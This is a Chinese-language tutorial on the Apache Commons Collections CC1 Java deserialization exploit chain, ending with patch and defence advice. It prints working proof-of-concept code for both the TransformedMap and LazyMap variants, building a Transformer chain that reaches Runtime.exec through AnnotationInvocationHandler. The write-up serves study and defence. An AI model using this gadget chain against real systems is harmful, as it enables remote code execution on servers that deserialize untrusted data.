Java 反序列化:Apache Commons Collections CC1 利用链深度解析
字数 1374 2025-08-29 22:41:32
Apache Commons Collections CC1 反序列化利用链深度解析
一、Commons Collections 简介
Apache Commons Collections 是一个扩展了Java标准集合框架的库,提供了许多有用的数据结构接口和实现。在安全领域,它因存在危险的反序列化漏洞而闻名,特别是CC1利用链。
二、环境搭建
1. JDK配置
- 使用 JDK 8u65 或更低版本(高版本有安全限制)
- 下载地址:Oracle官网历史版本
2. Maven依赖配置
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
3. 源码下载
- Commons Collections 3.2.1 源码
- 建议使用IDE(如IntelliJ IDEA)进行调试分析
三、关键类和接口分析
1. TransformedMap
- 扩展自AbstractInputCheckedMapDecorator
- 可以在Map的键或值被修改时自动调用转换方法
- 关键方法:
decorate()、transform()、checkSetValue()
2. Transformer 接口
public interface Transformer {
Object transform(Object input);
}
- 定义对象转换行为的接口
- 多个实现类可用于构建利用链
3. 关键Transformer实现类
ConstantTransformer
- 无论输入是什么,总是返回预设的常量对象
- 可用于构造恶意对象引用链
InvokerTransformer
- 通过反射调用任意方法
- 核心利用类,可执行任意代码
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (Exception ex) {
// 异常处理
}
}
ChainedTransformer
- 将多个Transformer串联起来按顺序执行
- 用于构建复杂的利用链
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
InstantiateTransformer
- 用于实例化对象
- 可与InvokerTransformer配合使用
四、CC1利用链分析
1. TransformedMap链分析
利用链:
ObjectInputStream.readObject()
-> AnnotationInvocationHandler.readObject()
-> MapEntry.setValue()
-> TransformedMap.checkSetValue()
-> ConstantTransformer.transform()
-> InvokerTransformer.transform()
-> Method.invoke()
-> Runtime.exec()
构造步骤:
- 创建恶意Transformer链:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
- 创建TransformedMap并设置转换器:
Map innerMap = new HashMap();
innerMap.put("key", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
- 通过AnnotationInvocationHandler触发:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, outerMap);
2. LazyMap链分析
利用链:
ObjectInputStream.readObject()
-> AnnotationInvocationHandler.readObject()
-> memberValues.entrySet()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform()
-> InvokerTransformer.transform()
-> Method.invoke()
-> Runtime.exec()
构造步骤:
- 创建Transformer链(同上)
- 创建LazyMap:
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
- 通过AnnotationInvocationHandler触发:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
五、漏洞修复
Apache Commons Collections 修复措施:
- 在3.2.2版本中引入了
FunctorUtils#checkUnsafeSerialization方法 - 对危险的Transformer类添加了Serializable检查
- 建议升级到最新版本(4.4或更高)
六、防护建议
- 升级Commons Collections到安全版本
- 使用Java反序列化过滤器(ObjectInputFilter)
- 避免反序列化不可信数据
- 使用白名单机制验证反序列化类
七、参考
- Apache Commons Collections官方文档
- Java反序列化安全最佳实践
- 相关CVE报告和分析文章
八、实验验证
建议在隔离环境中按以下步骤验证:
- 搭建JDK 8u65环境
- 配置Commons Collections 3.2.1
- 构造利用链POC
- 使用SerializationDumper等工具分析序列化数据
- 调试跟踪执行流程
通过深入理解CC1利用链,可以更好地防御类似的反序列化漏洞攻击。